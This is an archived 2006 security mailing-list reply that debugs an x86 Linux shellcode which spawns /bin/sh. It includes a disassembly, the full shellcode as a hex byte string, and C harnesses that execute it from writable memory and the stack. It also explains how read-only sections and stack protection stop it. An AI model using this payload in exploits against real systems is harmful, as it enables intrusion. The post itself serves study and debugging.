Re: Shellcode itself segfaults

From: Peter Kosinar (goober@ksp.sk)
Date: Tue Jun 20 2006 - 12:42:35 EDT


Hello,

> First let me suggest naming your array something else, I don't think
> your C code compiled unless you renamed main() and linked it yourself
> (i.e. ld -e). It's a sidepoint though, name it something else, sc[] or
> whatever.

Wrong, "main" is just a symbol, it can be pretty much any kind of object
(data, function, ...). At least that's how gcc works -- at best, it issues
a nice warning like "warning: 'main' is usually a function".

> What I see is that just before you call int 0x80, you have 11/0x0b in
> the eax register (correct), a pointer to the string '/bin/sh' in the
> ebx register (correct), a pointer to a pointer to char, however this
> array is supposed to be null terminated and your is not, and finally
> in the edx register you have a pointer to null.

Wrong. The memory layout looks like this (addresses grow downwards) at the
time "int 0x80" is executed at main+24 (see the disassembly further down):

ebx -> BASE: "/bin/sh" (null-terminated, 8 bytes)
ecx -> BASE (4 bytes)
edx -> 0 (4 bytes)

So, it's a perfectly correct memory layout and the next "int 80" calls
(with a slight abuse of syntax) the following command:

execve("/bin/sh", { "/bin/sh", 0 }, { 0 })

In fact, your own analysis confirms that:

> (gdb) x/wx *$rcx
> 0x5008a6 <sc+38>: 0x6e69622f
> (gdb)
> 0x5008aa <sc+42>: 0x0068732f
> (gdb)
> 0x5008ae <sc+46>: 0x005008a6
> (gdb) x/wx *$rdx
> 0x0: Cannot access memory at address 0x0
> (gdb) x/wx $rdx
> 0x5008b2 <completed.1+2>: 0x00000000

This exactly corresponds to the correct memory layout I described above
(ecx points to 0x5008ae, edx to 0x8008b2).

Now, let's get to original poster's question... First, let's have a look
at the disassembly of the shellcode:

0x080495c0 <main+0>: jmp 0x80495e1 <main+33>
0x080495c2 <main+2>: pop %esi
0x080495c3 <main+3>: mov %esi,0x8(%esi) (*)
0x080495c6 <main+6>: xor %eax,%eax
0x080495c8 <main+8>: mov %al,0x7(%esi) (*)
0x080495cb <main+11>: mov %eax,0xc(%esi) (*)
0x080495ce <main+14>: mov $0xb,%al
0x080495d0 <main+16>: mov %esi,%ebx
0x080495d2 <main+18>: lea 0x8(%esi),%ecx
0x080495d5 <main+21>: lea 0xc(%esi),%edx
0x080495d8 <main+24>: int $0x80
0x080495da <main+26>: xor %ebx,%ebx
0x080495de <main+30>: inc %eax
0x080495df <main+31>: int $0x80
0x080495e1 <main+33>: call 0x80495c2 <main+2>

What MIGHT be causing the problems with the shellcode is the fact that it
is self-modifying (see lines marked as (*) in the disassembly above). If
your compiler puts it in a section marked as read-only, the shellcode will
segfault. Also, depending on the system, some kind of no-exec protection
could kick in.

You might have more luck with a construction like this:

char c0de[]=
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { ((void(*)())c0de)(); }

In this case, the actual code is just an initialized array of chars. As
such, it MUST be modifyiable, so it is stored in a read-write section called
".data" (and unless you're extremely unlucky, there are some bytes left
after the end of c0de[] variable, so the aforementioned memory-modifying
instructions won't fail).

If you, however, replace "char c0de[]" with "const char c0de[]", you shall
see that the c0de[] array is now in a read-only section called ".rodata"
and the shellcode will fail.

In order to test the shellcode in a "real-life" situation, you should put
it on the stack:

const char c0de[]=
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()
{
   char buf[sizeof(c0de)];
   strcpy(buf, c0de);
   ((void(*)())buf)();
}

This way, you won't run into read-only memory issues, as the stack is
always writable. However, if you're running a security-enhanced
distribution, some kind of stack-protection might kick in and preevnt the
code from running.

Peter

-- 
[Name] Peter Kosinar   [Quote] 2B | ~2B = exp(i*PI)   [ICQ] 134813278
------------------------------------------------------------------------------
This List Sponsored by: Cenzic
Concerned about Web Application Security? 
Why not go with the #1 solution - Cenzic, the only one to win the Analyst's 
Choice Award from eWeek. As attacks through web applications continue to rise, 
you need to proactively protect your applications from hackers. Cenzic has the 
most comprehensive solutions to meet your application security penetration 
testing and vulnerability management needs. You have an option to go with a 
managed service (Cenzic ClickToSecure) or an enterprise software 
(Cenzic Hailstorm). Download FREE whitepaper on how a managed service can 
help you: http://www.cenzic.com/news_events/wpappsec.php 
And, now for a limited time we can do a FREE audit for you to confirm your 
results from other product. Contact us at request@cenzic.com for details.
------------------------------------------------------------------------------


This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:56:08 EDT